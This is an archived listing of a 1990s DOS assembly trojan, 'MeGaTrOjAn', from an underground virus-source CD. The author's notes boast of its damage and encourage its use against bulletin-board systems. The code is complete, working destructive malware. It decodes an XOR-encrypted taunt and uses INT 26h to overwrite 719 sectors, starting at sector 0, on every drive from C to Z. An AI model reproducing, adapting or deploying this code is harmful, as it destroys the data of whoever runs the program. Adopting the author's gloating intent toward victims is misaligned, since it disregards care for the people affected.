home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / megatroj.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.5 KB  |  127 lines
  1. ;******************************************************************************
  2. ;              The High Evolutionary's [MeGaTrOjAn] v1.0
  3. ;******************************************************************************
  4. ;
  5. ; Development Notes: (Dec.12.9O)
  6. ; ------------------------------
  7. ;
  8. ; Hi guys. It's me again. Here is my latest work of Trojanic Art. This does
  9. ; alot more damage than my old Trojan (Int 13 method). This one uses INT 26
  10. ; instead that overwrites 719 sectors of each hard-drive.
  11. ;
  12. ; I managed to fix the error on crashing after INT 26. The problem lied in
  13. ; the restoration of the flags after the INT was called.
  14. ;
  15. ; I also have an encrypted message in this one. Rather nice if I do say so
  16. ; myself. Check out the commented lines to read the message.
  17. ; (It gets written to sector 0 of each drive. Do view it, use NU /M)
  18. ;
  19. ; I also fixed a small bug in my old encryption routine. Check out this source
  20. ; for the latest modifications and fixes, but it works great now...
  21. ;
  22. ; Have phun...
  23. ;
  24. ;  -= The High Evolutionary =-
  25. ;
  26. ; PS: Use this to crash those lame-ass TeleGard Boards...
  27. ;
  28. ;******************************************************************************
  29. ;            Written by The High Evolutionary
  30. ;
  31. ;             Property of The RABID Nat'nl Development Corp.
  32. ;
  33. ;        NOT TO BE DISTRIBUTED TO ANY OUTSIDE GROUPS OR AGENCIES
  34. ;    (Well, at least the source code. I don't give a fuck what you do with
  35. ;                 the compiled file...)
  36. ;******************************************************************************
  37.  
  38.  
  39.  
  40.  
  41.  
  42. code    segment
  43.     assume    cs:code,ds:code,es:code
  44.     org    100h
  45.  
  46. @fry    macro    drive,sectors
  47.     pushf                    ; Push all flags onto the stack
  48.     mov    al,drive            ; Select drive to fry
  49.     mov    cx,sectors            ; Choose amount of sectors
  50.     mov    dx,0                ; Set format to start at sec. 0
  51.     mov    bx,offset dest            ; Set format to have IDENT
  52.                         ; string imbedded in sector 0
  53.     int    26h                ; Call BIOS to fry drive
  54.     popf                    ; Restore the flags we pushed
  55. endm    
  56.  
  57. start:    jmp    decrypt
  58.  
  59. ;
  60. ; BAHA! Rather sympathetic message eh guys?
  61. ;
  62.  
  63. ;ident    db    "Ooops! Looks like you have a slight problem. This drive ",13,10
  64. ;    db    "is fried! Why? Well, that's easy... RABID''s the answer... ",13,10
  65. ;    db    "Your security sucks shit!!! Time to upgrade... Let me ",13,10
  66. ;    db    "give you a little hint to speed up your recovery. Reformat ",13,10
  67. ;    db    "your hard-drive. MIRROR, SF and any other nifty utils are ",13,10
  68. ;    db    "useless against RABID''s [MeGaTrOjAn]... Have phun guys! ",13,10
  69. ;    db    "                    - RABID '91",13,10
  70.  
  71. ident    db    "Nnnqr !Mnnjr!mhjd!xnt!i`wd!`!rmhfiu!qsncmdl/!Uihr!eshwd! h"
  72.     db    "r!gshde !Vix>!Vdmm-!ui`u&r!d`rx///!S@CHE&r!uid!`orvds///! "
  73.     db    "Xnts!rdbtshux!rtbjr!rihu   !Uhld!un!tqfs`ed///!Mdu!ld! fhw"
  74.     db    "d!xnt!`!mhuumd!ihou!un!rqdde!tq!xnts!sdbnwdsx/!Sdgnsl`u! x"
  75.     db    "nts!i`se,eshwd/!LHSSNS-!RG-!`oe!`ox!nuids!ohgux!tuhmr!`sd! "
  76.     db    "trdmdrr!`f`horu!S@CHE&r!ZLdF`UsNk@o\///!I`wd!qito!ftxr ! "
  77.     db    "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,!S@CHE!&80 "
  78.  
  79. lident    equ     $-ident                ; Find the length of string
  80.  
  81. dest    db    [lident-1/2] dup (?)        ; Blank field for decrypt
  82.  
  83. temp    db    0                ; Temp char field
  84.  
  85. haha    db    2                ; HAHA is the drive to be
  86.                         ; nuked!
  87.  
  88. hoho    dw    719                ; HOHO is the number of sectors
  89.                         ; to make into Kaka!
  90. ;
  91. ; (Can't you tell I'm in the Christmas Spirit...)
  92. ;
  93.  
  94. decrypt:
  95.     mov    cx,lident            ; Move length of string
  96.                         ; into CX
  97.     mov    si,offset ident            ; Move string into SI
  98.     mov    di,offset dest            ; Specify dest in DI
  99. doshit:    mov    al,ds:[si]            ; Get a charachter
  100.     mov    temp,al                ; Copy it to temp
  101.     xor    byte ptr ds:[temp],01h        ; XOR it with 01h
  102.     mov    al,temp                ; Copy temp to AL
  103.     mov    [di],al                ; Copy AL into dest
  104.     inc    si                ; Inc SI
  105.     inc    di                ; Inc DI
  106.     loop    doshit                ; Back for the next charachter
  107.                         ; until CX=0
  108.  
  109. main:    cmp    haha,27                ; Check to see if drive Z is
  110.                         ; fried
  111.     jge    quit                ; If yeah. Then gedoudahere
  112.     @fry    haha,hoho            ; No? Then fry the drive...
  113.     inc    haha                ; Add 1 to HAHA
  114.     jmp    main                ; Then go up and fry another
  115.  
  116. quit:    mov    ax,4c00h            ; Set terminate program with
  117.                         ; error code 00
  118.     int    21h                ; Call DOS to gedoudahere
  119.     
  120.     code    ends
  121.  
  122. end    start
  123. ;  ─────────────────────────────────────────────────────────────────────────
  124. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  125. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  126. ;  ─────────────────────────────────────────────────────────────────────────
  127.